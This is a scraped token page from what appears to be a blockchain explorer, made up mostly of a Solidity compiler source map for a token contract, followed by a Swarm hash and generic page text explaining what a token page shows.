;;-1:-1:-1;;;11572:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11722:15:0;;11700:19;11722:15;;;;;;;;;;;11756:21;;;;11748:72;;;;-1:-1:-1;;;11748:72:0;;9231:2:1;11748:72:0;;;9213:21:1;9270:2;9250:18;;;9243:30;9309:34;9289:18;;;9282:62;-1:-1:-1;;;9360:18:1;;;9353:36;9406:19;;11748:72:0;9029:402:1;11748:72:0;-1:-1:-1;;;;;11856:15:0;;;:9;:15;;;;;;;;;;;11874:20;;;11856:38;;11909:13;;;;;;;;;;:23;;;;;;11961:26;;1342:25:1;;;11909:13:0;;11961:26;;1315:18:1;11961:26:0;;;;;;;12000:37;17973:2458;20779:1352;20876:4;20832:23;9774:18;;;;;;;;;;;;20931:20;;;20927:59;;20968:7;;20779:1352;:::o;20927:59::-;21006:7;;20999:6;;:14;;;;:::i;:::-;21018:1;20998:21;20994:1130;;21055:1;21037:15;:19;:59;;;;;21078:18;;21060:15;:36;21037:59;21034:443;;;-1:-1:-1;17973:2458:0;;:::o;21034:443::-;21185:21;21209:28;21233:3;21209:19;21220:7;;21209:6;:10;;:19;;;;:::i;:28::-;21185:52;-1:-1:-1;21252:23:0;21185:52;21252:23;;:::i;:::-;;;21303:18;;21294:6;:27;21290:176;;;21357:18;;21342:33;;21290:176;;20994:1130;21531:1;21513:15;:19;:66;;;;-1:-1:-1;21554:18:0;;:25;;21577:1;21554:22;:25::i;:::-;21536:15;:43;21513:66;21510:607;;;21596:7;;20779:1352;:::o;21510:607::-;21651:1;21633:15;:19;:66;;;;-1:-1:-1;21674:18:0;;:25;;21697:1;21674:22;:25::i;:::-;21656:15;:43;21633:66;:106;;;;;21721:18;;21703:15;:36;21633:106;21629:488;;;21771:18;;:25;;21794:1;21771:22;:25::i;22143:103::-;22208:12;;22200:38;;-1:-1:-1;;;;;22208:12:0;;;;22200:38;;;;;22231:6;;22208:12;22200:38;22208:12;22200:38;22231:6;22208:12;22200:38;;;;;;;;;;;;;;;;;;;5873:98;5931:7;5958:5;5962:1;5958;:5;:::i;:::-;5951:12;5873:98;-1:-1:-1;;;5873:98:0:o;5979:::-;6037:7;6064:5;6068:1;6064;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:347::-;1965:6;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2065:29;2084:9;2065:29;:::i;:::-;2055:39;;2144:2;2133:9;2129:18;2116:32;2191:5;2184:13;2177:21;2170:5;2167:32;2157:60;;2213:1;2210;2203:12;2157:60;2236:5;2226:15;;;1900:347;;;;;:::o;2252:186::-;2311:6;2364:2;2352:9;2343:7;2339:23;2335:32;2332:52;;;2380:1;2377;2370:12;2332:52;2403:29;2422:9;2403:29;:::i;2884:260::-;2952:6;2960;3013:2;3001:9;2992:7;2988:23;2984:32;2981:52;;;3029:1;3026;3019:12;2981:52;3052:29;3071:9;3052:29;:::i;:::-;3042:39;;3100:38;3134:2;3123:9;3119:18;3100:38;:::i;:::-;3090:48;;2884:260;;;;;:::o;3149:380::-;3228:1;3224:12;;;;3271;;;3292:61;;3346:4;3338:6;3334:17;3324:27;;3292:61;3399:2;3391:6;3388:14;3368:18;3365:38;3362:161;;3445:10;3440:3;3436:20;3433:1;3426:31;3480:4;3477:1;3470:15;3508:4;3505:1;3498:15;3362:161;;3149:380;;;:::o;3534:127::-;3595:10;3590:3;3586:20;3583:1;3576:31;3626:4;3623:1;3616:15;3650:4;3647:1;3640:15;3666:125;3731:9;;;3752:10;;;3749:36;;;3765:18;;:::i;6201:401::-;6403:2;6385:21;;;6442:2;6422:18;;;6415:30;6481:34;6476:2;6461:18;;6454:62;-1:-1:-1;;;6547:2:1;6532:18;;6525:35;6592:3;6577:19;;6201:401::o;6607:399::-;6809:2;6791:21;;;6848:2;6828:18;;;6821:30;6887:34;6882:2;6867:18;;6860:62;-1:-1:-1;;;6953:2:1;6938:18;;6931:33;6996:3;6981:19;;6607:399::o;8535:128::-;8602:9;;;8623:11;;;8620:37;;;8637:18;;:::i;9436:168::-;9509:9;;;9540;;9557:15;;;9551:22;;9537:37;9527:71;;9578:18;;:::i;9609:217::-;9649:1;9675;9665:132;;9719:10;9714:3;9710:20;9707:1;9700:31;9754:4;9751:1;9744:15;9782:4;9779:1;9772:15;9665:132;-1:-1:-1;9811:9:1;;9609:217::o

Swarm Source

ipfs://82d53b50cc723f0ae05b146b06078ea6ccc0d36c0af650bd75c2e1f25f26075c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.